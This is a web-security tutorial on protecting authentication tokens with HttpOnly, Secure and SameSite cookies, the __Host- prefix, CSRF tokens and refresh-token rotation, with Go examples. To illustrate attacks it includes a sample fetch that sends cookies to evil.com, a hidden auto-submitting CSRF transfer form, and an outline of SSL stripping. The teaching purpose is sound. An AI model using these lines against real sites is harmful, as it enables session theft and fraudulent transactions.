Http Only Cookie #
When developers first implement token-based authentication, the pattern most often chosen is: store the token in localStorage, read it with JavaScript, send it in the Authorization header. This pattern feels intuitive and easy — JavaScript can read the token anytime, no special configuration needed, works across domains easily.
What isn’t immediately visible: every token JavaScript can read can also be stolen by JavaScript. And the JavaScript running in a user’s browser isn’t always JavaScript you wrote — it can be JavaScript from XSS, from compromised third-party scripts, or from npm libraries containing malicious code. One weak point where foreign scripts can run, and all tokens in localStorage become the attacker’s property.
HttpOnly cookies solve this problem elegantly: tokens are stored in cookies completely inaccessible to JavaScript. The browser sends them automatically on every request, but no JavaScript API can read them — even under XSS. The result: sessions stolen via JavaScript become impossible, even with an XSS hole in the application.
How Cookies Work and Their Attributes #
Cookies are key-value pairs stored by the browser and automatically sent to the server on every matching request. Each cookie can be configured with a number of attributes determining when, where, and how it’s sent.
Complete cookie anatomy:
Set-Cookie: session=eyJhbGc...; \
HttpOnly; \
Secure; \
SameSite=Lax; \
Path=/; \
Domain=app.example.com; \
Max-Age=86400
Explanation of each attribute:
session=eyJhbGc... → the cookie's name and value
HttpOnly → JavaScript can't read/write this cookie
Secure → only sent over HTTPS, never over HTTP
SameSite=Lax → when the cookie is sent on cross-site requests
Path=/ → the cookie applies to all paths on this domain
Domain=app.example.com → the cookie is only for this subdomain (not .example.com)
Max-Age=86400 → expires after 86400 seconds (1 day)
The first five attributes are the most important for security. Each missing one opens a different hole.
HttpOnly: Cutting Off JavaScript Access #
The HttpOnly attribute prevents JavaScript from accessing cookies through document.cookie, fetch, or any browser API. Cookies are still sent by the browser on every matching HTTP request — but can’t be read, modified, or deleted from JavaScript.
// Without HttpOnly — cookies can be read by JavaScript
document.cookie
// → "session=eyJhbGc...; analytics_id=xyz; preferences=dark"
// All non-HttpOnly cookies are visible here
// With HttpOnly on the session cookie — it doesn't appear in document.cookie
document.cookie
// → "analytics_id=xyz; preferences=dark"
// The session cookie isn't here, even though the browser still sends it to the server
// Even an attacker with XSS can't steal the token:
fetch('https://evil.com/steal?c=' + document.cookie)
// The session cookie isn't in document.cookie — it can't be stolen
sequenceDiagram
participant JS as JavaScript (XSS/Third-party)
participant B as Browser
participant S as Server
Note over JS,S: Scenario without HttpOnly
JS->>B: document.cookie
B->>JS: "session=eyJhbGc..." ← token stolen!
JS->>S: fetch evil.com?c=eyJhbGc...
Note right of S: The attacker gets the session token
Note over JS,S: Scenario with HttpOnly
JS->>B: document.cookie
B->>JS: "" (the session cookie isn't here)
B->>S: [HTTP Request] Cookie: session=eyJhbGc...
Note right of S: Only the server can get the tokenSecure: Ensuring Tokens Can’t Be Sniffed #
The Secure attribute ensures cookies are only sent over HTTPS connections. Without this attribute, browsers send cookies even over plain HTTP — which can be sniffed by attackers on the same network (coffee shops, hotels, offices).
The attack without Secure — SSL Stripping:
A user at a coffee shop connects to WiFi
↓
An attacker runs a man-in-the-middle attack
↓
The attacker changes HTTPS links to HTTP (SSL stripping)
↓
The user makes a request to http://app.example.com (not HTTPS)
↓
Cookies without the Secure flag get sent over HTTP
↓
The attacker can sniff cookies from unencrypted HTTP traffic
↓
The session is stolen
With the Secure flag:
Browsers refuse to send the cookie over HTTP
→ SSL stripping attacks can't steal the cookie
TheSecureflag is mandatory in production. In local development using HTTP, you need to temporarily disable it or use local HTTPS. Never deploy to production without theSecureflag on cookies storing authentication tokens.
SameSite: Protection Against CSRF #
The SameSite attribute controls when browsers send cookies on cross-site requests. This is the primary defense mechanism against CSRF (Cross-Site Request Forgery).
The three SameSite values and their implications:
SameSite=Strict:
Cookies are NOT sent on any cross-site request.
Including when users click links from other pages.
Example:
A user is on google.com, clicks a link to bank.com
→ bank.com cookies with SameSite=Strict aren't sent
→ The user must log in again
Good for: admin panels, internal dashboards, sensitive applications
Not good for: public applications (users always asked to re-login)
──────────────────────────────────────────────────────────
SameSite=Lax (modern browser default):
Cookies are sent on top-level navigations (link clicks, redirects)
but NOT sent on cross-site sub-resource requests
(img, iframe, fetch, XHR)
Example:
- User clicks a link from email to app.com → cookie sent ✓
- A script on evil.com fetches app.com → cookie NOT sent ✓
- A form POST from evil.com to app.com → cookie NOT sent ✓
Good for: most public web applications
──────────────────────────────────────────────────────────
SameSite=None; Secure:
Cookies are sent on all requests, including cross-site.
Must be combined with Secure.
Good for: third-party widgets, cross-domain SSO, payment gateways
Not good for: primary authentication sessions
// Setting cookies with all the right attributes (net/http)
func setAuthCookie(w http.ResponseWriter, sessionToken string, rememberMe bool) {
maxAge := 8 * 60 * 60 // 8 hours in seconds
if rememberMe {
maxAge = 30 * 24 * 60 * 60 // 30 days
}
http.SetCookie(w, &http.Cookie{
Name: "session",
Value: sessionToken,
MaxAge: maxAge,
HttpOnly: true, // inaccessible to JavaScript
Secure: true, // only over HTTPS (disable in local dev)
SameSite: http.SameSiteLaxMode, // basic CSRF protection
Path: "/", // applies to all paths
// Domain not set = only for the exact host
})
}
// For the login endpoint:
func login(w http.ResponseWriter, r *http.Request) {
// ... validate credentials ...
sessionToken := createSession(user.ID)
setAuthCookie(w, sessionToken, false)
writeJSON(w, map[string]any{"status": "ok", "user_id": user.ID})
}
// Implementation in Go (net/http)
func setAuthCookie(w http.ResponseWriter, sessionToken string) {
http.SetCookie(w, &http.Cookie{
Name: "session",
Value: sessionToken,
Path: "/",
MaxAge: 28800, // 8 hours in seconds
HttpOnly: true, // inaccessible to JavaScript
Secure: true, // only over HTTPS
SameSite: http.SameSiteLaxMode,
})
}
// For logout — invalidate the cookie
func logout(w http.ResponseWriter, r *http.Request) {
// Delete the cookie by setting MaxAge = -1 (or an Expires in the past)
http.SetCookie(w, &http.Cookie{
Name: "session",
Value: "",
Path: "/",
MaxAge: -1, // delete the cookie
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteLaxMode,
})
// Invalidate the server-side session (important!)
sessionID := getSessionFromCookie(r)
invalidateSession(sessionID)
}
Cookies vs localStorage: An Often Misunderstood Comparison #
The debate between storing tokens in cookies vs localStorage is often simplified to “both have downsides”. But the downsides are highly asymmetric.
Cookie (HttpOnly) vs localStorage comparison:
┌─────────────────────────┬────────────────────────┬────────────────────────┐
│ Aspect │ HttpOnly Cookie │ localStorage │
├─────────────────────────┼────────────────────────┼────────────────────────┤
│ Stealable via XSS │ No │ Yes — directly │
│ Stealable via CSRF │ Possible (mitigatable) │ No (not automatic) │
│ Auto-sent to server │ Yes │ No (manual in JS) │
│ Works across subdomains │ Possible (set Domain) │ No (same-origin) │
│ Persists after tab close│ Possible (Max-Age) │ Yes (always) │
│ Accessible to JS │ No │ Yes │
│ XSS risk │ Low (token safe) │ High (token stolen) │
│ CSRF risk │ Needs mitigation │ No CSRF │
│ Implementation ease │ Needs configuration │ Easy │
└─────────────────────────┴────────────────────────┴────────────────────────┘
Conclusion:
XSS is far more common than CSRF (and CSRF can be mitigated with SameSite + CSRF tokens)
→ HttpOnly Cookies are safer for authentication tokens
→ localStorage for authentication tokens is the wrong choice
The Trade-off: HttpOnly Cookies and CSRF #
One of the HttpOnly cookie’s weaknesses is that browsers automatically send cookies on every request to the matching domain — including requests triggered from other websites. This is the basis of CSRF attacks.
A CSRF attack exploiting cookies:
1. The user logs into bank.com → gets a session cookie (HttpOnly)
2. The user visits evil.com (still having an active bank session)
3. evil.com has a hidden form:
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker_account">
<input name="amount" value="10000000">
</form>
<script>document.forms[0].submit()</script>
4. The browser sends a POST to bank.com — including the session cookie!
5. bank.com receives a request that looks valid
With localStorage:
The browser doesn't automatically send tokens → no CSRF
But... every XSS can steal tokens from localStorage
The clear trade-off: CSRF vs XSS
HttpOnly + SameSite + CSRF tokens address both risks
The way to handle CSRF with cookies: combine the HttpOnly cookie with a CSRF token. The cookie stores the session, the CSRF token (different for every form) verifies the request comes from a legitimate page.
// CSRF protection (net/http middleware)
func csrfProtect(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodPost {
// Verify the X-CSRFToken header (sent by JavaScript for SPAs)
token := r.Header.Get("X-CSRFToken")
if !validCSRFToken(token) {
http.Error(w, "CSRF validation failed", http.StatusForbidden)
return
}
}
next.ServeHTTP(w, r)
})
}
// Inject a JS-readable CSRF token (not HttpOnly!)
func injectCSRFToken(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
http.SetCookie(w, &http.Cookie{
Name: "csrf_token",
Value: generateCSRFToken(),
Secure: true,
SameSite: http.SameSiteLaxMode,
// No HttpOnly! JavaScript needs to read this to send it as a header
})
next.ServeHTTP(w, r)
})
}
// Frontend: get the CSRF token from the cookie and send it as a header
function getCookie(name) {
const match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'));
return match ? match[2] : null;
}
// Every data-modifying request must include the CSRF token
async function transferFunds(to, amount) {
const csrfToken = getCookie('csrf_token'); // readable because not HttpOnly
const response = await fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRFToken': csrfToken // the server verifies this header
},
body: JSON.stringify({ to, amount }),
credentials: 'include' // include the session cookie (HttpOnly)
});
return response.json();
}
The Secure Token Refresh Pattern #
Modern applications often use short-lived access tokens combined with refresh tokens. The secure pattern uses cookies for both with different configurations.
sequenceDiagram
participant C as Client (Browser)
participant A as Auth Server
participant R as Resource Server
C->>A: POST /login {email, password}
A->>C: Set-Cookie: access_token=...; HttpOnly; Secure; Max-Age=900<br/>Set-Cookie: refresh_token=...; HttpOnly; Secure; Path=/auth/refresh; Max-Age=2592000
Note over C: Access token: 15 minutes<br/>Refresh token: 30 days<br/>Both HttpOnly
C->>R: GET /api/data [Cookie: access_token=...]
R->>C: 200 OK {data...}
Note over C: 15 minutes pass, the access token expires
C->>R: GET /api/data [Cookie: access_token=expired]
R->>C: 401 Unauthorized
C->>A: POST /auth/refresh [Cookie: refresh_token=...]
A->>C: Set-Cookie: access_token=NEW...; HttpOnly; Secure; Max-Age=900
C->>R: GET /api/data [Cookie: access_token=NEW...]
R->>C: 200 OK {data...}// Secure token refresh implementation
func refreshTokens(w http.ResponseWriter, r *http.Request) {
// Get the refresh token from the cookie (not the request body)
refreshCookie, err := r.Cookie("refresh_token")
if err != nil || refreshCookie.Value == "" {
writeJSON(w, http.StatusUnauthorized, map[string]string{"error": "No refresh token"})
return
}
// Validate the refresh token
payload, err := verifyRefreshToken(refreshCookie.Value)
if err != nil {
// Delete the invalid cookie
http.SetCookie(w, &http.Cookie{Name: "refresh_token", MaxAge: -1, Path: "/auth/refresh"})
writeJSON(w, http.StatusUnauthorized, map[string]string{"error": "Invalid refresh token"})
return
}
// Generate new tokens
newAccessToken := createAccessToken(payload.UserID)
newRefreshToken := createRefreshToken(payload.UserID)
// Rotate the refresh token (delete the old one, create a new one)
invalidateRefreshToken(refreshCookie.Value)
// Access token: short-lived, readable from all paths
http.SetCookie(w, &http.Cookie{
Name: "access_token",
Value: newAccessToken,
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteLaxMode,
MaxAge: 900, // 15 minutes
Path: "/",
})
// Refresh token: long-lived, ONLY sent to /auth/refresh
http.SetCookie(w, &http.Cookie{
Name: "refresh_token",
Value: newRefreshToken,
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteLaxMode,
MaxAge: 2592000, // 30 days
Path: "/auth/refresh", // restricted path — important!
})
writeJSON(w, map[string]string{"status": "ok"})
}
Why refresh tokens must be path-restricted:
path='/auth/refresh' means:
→ The cookie is only sent to /auth/refresh
→ Requests to /api/*, /admin/*, etc. don't include refresh_token
→ If there's SSRF or an unexpected request to this domain,
refresh_token isn't exposed
path='/' (unrestricted) means:
→ The refresh token is sent to every endpoint
→ If any endpoint leaks tokens (SSRF, request header logging),
the refresh token is exposed too
Cookie Prefixes: Additional Protection #
Modern browsers support two cookie prefixes adding extra protection without additional configuration:
Available cookie prefixes:
__Secure- prefix:
→ Browsers only accept this cookie if:
- Sent over HTTPS
- Has the Secure flag
Example: __Secure-session=eyJhbGc...
__Host- prefix (stricter):
→ Browsers only accept this cookie if:
- Sent over HTTPS
- Has the Secure flag
- Path must be /
- No Domain attribute (only for the exact host, not subdomains)
Example: __Host-session=eyJhbGc...
The __Host- advantage:
Prevents cookie injection from compromised subdomains.
If evil.app.example.com is compromised, it can't set cookies
that apply to app.example.com.
// Using the __Host- prefix (recommended for session cookies)
http.SetCookie(w, &http.Cookie{
Name: "__Host-session", // the prefix adds automatic constraints
Value: sessionToken,
HttpOnly: true,
Secure: true, // required for the __Host- prefix
SameSite: http.SameSiteLaxMode,
Path: "/", // '/' is required for the __Host- prefix
// Domain not set — required for the __Host- prefix
})
Correct Logout #
One frequent mistake: logout only deletes the client cookie without invalidating the server-side session.
// ANTI-PATTERN: logout only deletes the cookie, doesn't invalidate the server session
func logoutUnsafe(w http.ResponseWriter, r *http.Request) {
http.SetCookie(w, &http.Cookie{Name: "session", MaxAge: -1, Path: "/"})
http.Redirect(w, r, "/", http.StatusFound)
// The server-side session is still active!
// If an attacker already stole the token, they can still use it
}
// CORRECT: invalidate the server session BEFORE deleting the cookie
func logoutSafe(w http.ResponseWriter, r *http.Request) {
cookie, err := r.Cookie("session")
if err == nil && cookie.Value != "" {
// Invalidate the session in the database/Redis
invalidateSession(cookie.Value)
}
// Delete all auth cookies
http.SetCookie(w, &http.Cookie{Name: "session", Value: "", MaxAge: -1, Path: "/", HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode})
http.SetCookie(w, &http.Cookie{Name: "refresh_token", Value: "", MaxAge: -1, Path: "/auth/refresh", HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode})
http.Redirect(w, r, "/login", http.StatusFound)
}
Anti-Patterns to Avoid #
// ✗ Anti-pattern 1: authentication tokens without HttpOnly
http.SetCookie(w, &http.Cookie{Name: "token", Value: jwtToken})
// JavaScript can read: document.cookie → "token=eyJhbGc..."
// XSS = token stolen
// ✗ Anti-pattern 2: no Secure flag in production
http.SetCookie(w, &http.Cookie{Name: "session", Value: token, HttpOnly: true}) // forgot Secure!
// Cookies are sent over HTTP on insecure networks
// ✗ Anti-pattern 3: SameSite=None without Secure
http.SetCookie(w, &http.Cookie{Name: "session", Value: token, SameSite: http.SameSiteNoneMode}) // without Secure
// Modern browsers reject this cookie
// ✗ Anti-pattern 4: storing JWTs in localStorage
// Never store tokens in a place readable by JavaScript (localStorage in the browser)
// XSS can read: localStorage.getItem('access_token')
// ✗ Anti-pattern 5: overly broad domains
http.SetCookie(w, &http.Cookie{Name: "session", Value: token, Domain: ".example.com"})
// The cookie applies to all subdomains including evil.example.com
// A compromised subdomain can read this cookie
// ✗ Anti-pattern 6: logout without server-side invalidation
// Only deletes the cookie, doesn't remove the session from the database/Redis
http.SetCookie(w, &http.Cookie{Name: "session", MaxAge: -1})
// Tokens stolen by attackers before logout remain valid
Cookie Security Checklist #
COOKIE ATTRIBUTES:
□ HttpOnly: true — for all cookies storing authentication tokens
□ Secure: true — mandatory in production
□ SameSite: Lax or Strict — per application needs
□ Max-Age or Expires — don't let cookies have no expiry
□ Path: restricted per needs (refresh tokens only to /auth/refresh)
□ Domain: not set (keep default) or set as narrowly as possible
TOKEN STORAGE:
□ Session tokens / refresh tokens: HttpOnly cookies
□ CSRF tokens: regular cookies (not HttpOnly, JS needs to read them)
□ Access tokens for SPAs: can be in cookies or JS memory (not localStorage)
□ No authentication tokens in localStorage or sessionStorage
CSRF PROTECTION:
□ SameSite=Lax minimum for all authentication cookies
□ CSRF tokens for data-modifying endpoints
□ Origin or Referer headers validated for sensitive requests
LIFECYCLE:
□ Sessions invalidated server-side on logout (not just cookie deletion)
□ Refresh tokens rotated every time they're used
□ Sessions expired after reasonable idle timeouts
□ Sessions expired after absolute timeouts (even when active)
PREFIXES:
□ Consider the __Host- prefix for session cookies
□ Make sure no subdomain can inject cookies into the parent domain
Summary #
- HttpOnly is the foundation of authentication token security — HttpOnly cookies can’t be accessed by JavaScript, cutting off the token theft vector via XSS even when an XSS hole exists in the application.
- HttpOnly doesn’t prevent XSS — it prevents its worst consequences — sessions can’t be stolen, but attackers can still do other things via XSS. Fix the XSS, but use HttpOnly as defense in depth.
- The Secure flag is mandatory in production — without Secure, cookies are sent over HTTP and can be sniffed on open networks. HttpOnly + Secure must always go together.
- SameSite=Lax is the right default for most applications — protects against CSRF on cross-site requests while still allowing normal navigation.
- localStorage is unsafe for authentication tokens — every XSS can directly read localStorage. HttpOnly cookies are far safer even though they need CSRF handling.
- CSRF is the trade-off of cookies, not a reason to avoid them — HttpOnly + SameSite + CSRF tokens handle CSRF. This combination is safer than localStorage, which is exposed to XSS.
- Refresh tokens need path restrictions — store refresh tokens with
path='/auth/refresh' so they’re only sent to the endpoint that actually needs them, not every endpoint. - Logout must invalidate server-side sessions — deleting the client cookie isn’t enough. Tokens stolen before logout stay valid if the session isn’t invalidated server-side.
- The
__Host- cookie prefix adds protection against subdomain attacks — prevents compromised subdomains from injecting cookies into the parent domain. - CSRF tokens (not HttpOnly) and session cookies (HttpOnly) work together — CSRF tokens need JavaScript readability to be sent as headers; session cookies need HttpOnly so they can’t be stolen.
#
- HttpOnly is the foundation of authentication token security — HttpOnly cookies can’t be accessed by JavaScript, cutting off the token theft vector via XSS even when an XSS hole exists in the application.
- HttpOnly doesn’t prevent XSS — it prevents its worst consequences — sessions can’t be stolen, but attackers can still do other things via XSS. Fix the XSS, but use HttpOnly as defense in depth.
- The Secure flag is mandatory in production — without Secure, cookies are sent over HTTP and can be sniffed on open networks. HttpOnly + Secure must always go together.
- SameSite=Lax is the right default for most applications — protects against CSRF on cross-site requests while still allowing normal navigation.
- localStorage is unsafe for authentication tokens — every XSS can directly read localStorage. HttpOnly cookies are far safer even though they need CSRF handling.
- CSRF is the trade-off of cookies, not a reason to avoid them — HttpOnly + SameSite + CSRF tokens handle CSRF. This combination is safer than localStorage, which is exposed to XSS.
- Refresh tokens need path restrictions — store refresh tokens with
path='/auth/refresh'so they’re only sent to the endpoint that actually needs them, not every endpoint. - Logout must invalidate server-side sessions — deleting the client cookie isn’t enough. Tokens stolen before logout stay valid if the session isn’t invalidated server-side.
- The
__Host-cookie prefix adds protection against subdomain attacks — prevents compromised subdomains from injecting cookies into the parent domain. - CSRF tokens (not HttpOnly) and session cookies (HttpOnly) work together — CSRF tokens need JavaScript readability to be sent as headers; session cookies need HttpOnly so they can’t be stolen.